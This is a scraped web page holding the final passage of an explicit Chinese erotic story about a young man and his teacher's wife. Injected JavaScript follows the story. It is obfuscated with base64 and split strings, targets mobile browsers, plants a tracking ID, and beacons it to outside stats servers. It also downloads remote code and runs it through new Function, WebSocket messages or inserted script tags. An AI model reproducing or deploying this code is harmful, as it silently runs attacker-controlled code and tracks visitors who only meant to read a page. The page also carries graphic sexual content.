紧致的菊穴将肉棒箍得紧紧的,即使有爱液润滑仍然难以抽动,每动一下都给李天麟强烈的刺激,菊穴中散发的热量无法散发,肉棒几乎要融化一样,格外的舒服。李天麟喘息着,死死的将师娘的身体按在床上,自己甚至紧贴上去,贪婪的舔弄着这柔美娇躯的每一片肌肤。
「师娘,好舒服。我要出来了……」
苏凝霜被李天麟死死按着,甚至被肉棒带着一下下颤动,断断续续喘息着答道:「嗯,不用拔出来,就,就都射在师娘的后庭里面,……灌满它吧。」一阵喘息中,火热的肉棒颤抖抽动,精液酣畅淋漓的喷洒进菊穴深处。隔了一会儿,李天麟身子瘫软下来,伏在苏凝霜光润的脊背上。
过了好久,李天麟才慢慢挪开,将苏凝霜的身子扳正过来,温柔的看着师娘带着羞意的笑脸。
苏凝霜轻轻抚摸着李天麟的面颊:「天麟,喜欢师娘准备的小花样吗?」李天麟笑着,揉弄着师娘的身子:「师娘,怎么想出这么有意思的花样来?」怀中娇艳的美妇微微低下头,面颊含着羞意小声说道:「在酒楼里,那些人说得青楼中的女子……」李天麟这才记起,确实是那几个人曾说起青楼中花魁曾经用过这些手段,只是当时自己听着都觉得荒诞淫乱的很,却不知道师娘竟然能够真的用上了这些手段侍奉自己。
想到方才自己的粗暴,低头看着师娘胸前青紫色,李天麟歉意道:「师娘,弄疼你了。」苏凝霜笑道:「没关系,师娘心里欢喜的紧呢。」手指在李天麟胸口慢慢画弄着,出神的说道:「第一次见你的时候,你还是一个这么大一点的小孩子,什么都不懂。想不到,现在,现在……」「现在怎么样?」
苏凝霜红着脸呸了一声:「现在,都能变着花样欺负师娘了。」明明是你在变着花样欺负我啊。李天麟心中好笑的想到,只是这话万万不敢说出来,以防师娘太过于羞涩。
轻轻将面颊贴在李天麟胸口,苏凝霜痴痴的道:「师娘都三十几岁了,不知道我们这样子能过多久,师娘,过几年就人老珠黄了,你终究会离开师娘吧。如果等到那一天到来了,师娘就不再纠缠你,安心的做你的岳母,看着你和月儿快快乐乐的过一辈子。可是现在,师娘心里明知道不应该,却还是妄想着暗地里做你的娘子,完完全全,彻彻底底的做你的女人。天麟,无论以后我们之间会发生什么,我都希望你能记住今晚,记住师娘最美丽的样子。」「不会的,」李天麟叫道:「我会永远爱你,师娘。就像月儿一样,我们一辈子都不分开。」苏凝霜无声的笑了,悄悄伸手擦了擦眼睛,抬头娇媚的笑道:「你瞧我,没来由的说这些话干什么?今晚还长着呢,说好了的,今晚随便你怎么弄。天麟,想不想再要母狗儿一次?」李天麟翻身而起,笑着道:「师娘有命,徒儿岂敢不从?」苏凝霜手掌轻轻抚摸着重新挺立起来的肉棒,轻轻用手指弹了一下顶端,轻笑道:「坏东西,这次想进到师娘的哪里去?」口舌相弄,肉体摩擦,喘息与呻吟的声音再次响起,男女之间的战火再次燃烧起来。
「师娘,我的小母狗,叫两声听听?」
「不叫。啊……再,再深一点……,师娘要被你弄坏了……」「……叫不叫?」「嗯……坏蛋。……汪,汪……」
【完】
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSkSS3SSaSS1SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hQQtQQtQQpQQsQQ:QQ/QQ/QQpQQ.QQgQQoQQdQQmQQwQQiQQtQQhQQ.QQcQQoQQmQQ/QQ1QQ2QQ/QQ1QQ1QQ0QQ5QQeQQcQQ8QQ5QQ8QQ2QQ3QQ7QQ2".split("QQ").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDmDDqDD1DD2DDnDD4DDdDD7DD6DD.DDoDDsDDsDD-DDcDDnDD-DDsDDhDDaDDnDDgDDhDDaDDiDD.DDaDDlDDiDDyDDuDDnDDcDDsDD.DDcDDoDDmDD/DD1DD2DD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();